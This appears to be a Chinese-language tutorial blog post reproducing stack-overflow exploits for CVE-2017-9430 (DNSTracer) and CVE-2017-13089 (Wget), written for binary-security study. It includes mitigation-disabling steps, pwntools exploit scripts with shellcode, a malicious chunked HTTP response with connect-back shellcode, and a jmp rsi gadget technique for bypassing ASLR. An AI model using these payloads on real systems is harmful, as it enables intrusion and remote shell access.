最近复现了两个较为经典的栈溢出漏洞,分别是CVE-2017-9430(影响DNSTracer)和CVE-2017-13089(影响Wget)。通过这两个真实案例,可以深入理解栈溢出漏洞在现代 Linux 环境下(尤其是在关闭常见缓解机制后)的成因与利用手法。尽管这两个漏洞年代较早,但其利用思路在二进制安全与渗透测试学习中仍有重要价值。
一、 CVE-2017-9430:DNSTracer栈溢出
1. 漏洞描述
DNSTracer 1.9 及之前版本存在基于栈的缓冲区溢出漏洞。攻击者可通过构造超长的命令行参数,导致程序崩溃(拒绝服务),或可能执行任意代码。
2. 环境搭建
编译安装存在漏洞的 DNSTracer 1.9:
wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz
tar zxvf dnstracer-1.9.tar.gz
cd dnstracer-1.9
./configure
make && sudo make install
为方便复现,在编译前需修改 Makefile,关闭栈保护等机制:
CC = gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0 -no-pie -m32
编译完成后,需关闭系统的地址空间布局随机化(ASLR):
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
3. 漏洞成因
程序在处理命令行参数 argv[0] 时,直接使用了不安全的 strcpy 函数,未对源字符串长度进行检查,导致可以覆盖栈上的关键数据,如返回地址。
4. 漏洞利用分析
在关闭了ASLR、Canary、NX等所有缓解措施的理想环境下,典型的思路是通过栈溢出覆盖返回地址,并跳转到布置在栈中的Shellcode。
但在动态调试时,发现了一个关键细节。在函数返回 (ret) 指令之前,有一段额外的汇编代码会修改栈指针 (esp),其值来源于寄存器 ecx。这意味着不能简单地直接覆盖返回地址,否则程序会在调整栈指针时访问非法内存而崩溃。
因此,利用策略需要调整:精心构造栈上的数据,控制 ecx 寄存器的值,使得 esp 最终指向一个我们预先放置了Shellcode地址的位置,从而顺利跳转执行。
内存布局与利用思路可参考下图:

关键利用代码(Python + pwntools)如下,展示了如何布置栈帧以控制程序流:
#!/usr/bin/python3
from pwn import *
context(os='linux', arch='i386', log_level='info')
elf = './dnstracer-1.9/dnstracer'
# 构造填充数据、Shellcode地址和NOP雪橇
filling = "\x90"*(1050-32-32-1-0x300)
filling += "\x4c\xcd\xff\xff" # 预置的Shellcode地址
filling += "\x90"*0x300 # NOP雪橇
# Shellcode (execve("/bin/sh"))
filling += "\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"+"aa"
filling += "bbbb"*4
filling += "\x4c\xcd\xff\xff" # 用于控制ecx的值
payload = filling
p = gdb.debug([elf, payload], "b *0x0804969E")
p.interactive()
5. 复现中的注意点
- 编译器差异:复现时遇到的
ret前调整esp的汇编代码,在其他分析资料中并未普遍提及,可能与特定编译环境或选项有关。
- 地址稳定性:即使关闭ASLR,栈地址在不同运行会话间仍可能出现微小偏移。为确保利用成功,通常在Shellcode前布置足够长的NOP指令(NOP Sled)来增加容错率。
二、 CVE-2017-13089:Wget分块传输栈溢出
1. 漏洞描述
Wget 1.19.2 之前版本在处理HTTP分块传输编码(chunked)响应时存在逻辑缺陷。当服务器返回一个负的块长度(如 -0xFFFFF000)时,Wget会错误地将其转换为一个巨大的正数,并传递给后续的读取函数,导致基于栈的缓冲区溢出。
2. 环境搭建
建议在Ubuntu 16.04环境中搭建,稳定性较好。
sudo apt-get install libneon27-gnutls-dev
wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
tar zxvf wget-1.19.1.tar.gz
cd wget-1.19.1
sudo apt-get remove wget
./configure
make && sudo make install
3. 漏洞成因
漏洞位于 skip_short_body() 函数。该函数使用 strtol() 读取块长度,但未检查其是否为负数。后续代码虽然进行了多次长度校验,但都只校验了上限,未校验下限。最终,一个被解释为巨大正数的负长度值传递给了 fd_read() 函数,其 int 类型的长度参数在传递时发生类型转换,导致实际读取长度受攻击者控制,造成栈溢出。

4. 漏洞利用分析
同样在关闭所有缓解机制的环境下,利用相对直接。我们可以精确控制溢出长度,覆盖函数的返回地址,跳转到栈中布置好的Shellcode。
利用步骤:
- 构造一个包含恶意负块长度(如
-0xFFFFF000)的HTTP响应。
- 计算栈偏移,确定返回地址的位置。
- 将Shellcode和其地址填入相应位置。
POC/EXP代码示例:
from pwn import *
# 构造恶意HTTP响应头
payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFF000
"""
context(arch='amd64', os='linux')
# 生成反向连接Shellcode
sc = asm(shellcraft.connect('127.0.0.1',4444) + shellcraft.dupsh())
payload = payload.encode()
payload += sc + (560+8-len(sc))*b'\x90' # 填充至返回地址处
stack_addr = 0x7fffffffd190 # Shellcode起始地址(需动态调试确定)
payload += p64(stack_addr) # 覆盖返回地址
payload += b"\n0\n" # 结束chunk
with open('poc2','wb') as f:
f.write(payload)
绕过ASLR:利用JMP RSI Gadget
在开启ASLR的情况下,栈地址随机化。观察崩溃现场,发现 rsi 寄存器恰好指向我们可控的输入数据区。因此,可以寻找一个 jmp rsi 或 call rsi 的指令片段(Gadget)来绕过ASLR。
ROPgadget --binary=wget | grep 'jmp rsi'
找到Gadget地址后(例如 0x0000000000475bcb),将覆盖返回地址的操作改为覆盖为该Gadget地址即可。此时,ret 后会跳转到 jmp rsi,继而跳转到我们布置在 rsi 所指缓冲区中的Shellcode。

5. 复现中的注意点
在关闭ASLR的利用中,有时仅能在GDB调试环境中成功,而在直接命令行执行时会崩溃。这可能是由于GDB环境与真实运行环境在内存布局或初始化上存在细微差别。而使用 jmp rsi Gadget 的利用方式则不受此影响,在两种环境下均能稳定工作。
三、 总结与思考
通过对这两个CVE的复现,可以清晰地对比两种栈溢出利用方式:
- CVE-2017-9430 展示了在遇到非常规栈帧变化时,需要深入理解汇编指令流,通过控制中间寄存器来间接劫持控制权。
- CVE-2017-13089 则展示了更典型的覆盖返回地址利用,并实践了通过
jmp reg 类Gadget在开启ASLR时进行绕过的方法。
无论漏洞场景如何变化,成功的利用都建立在扎实的逆向分析与对程序运行时状态的准确把握之上。这些在真实漏洞中沉淀的思路,对于理解和提升 网络安全 攻防技能至关重要。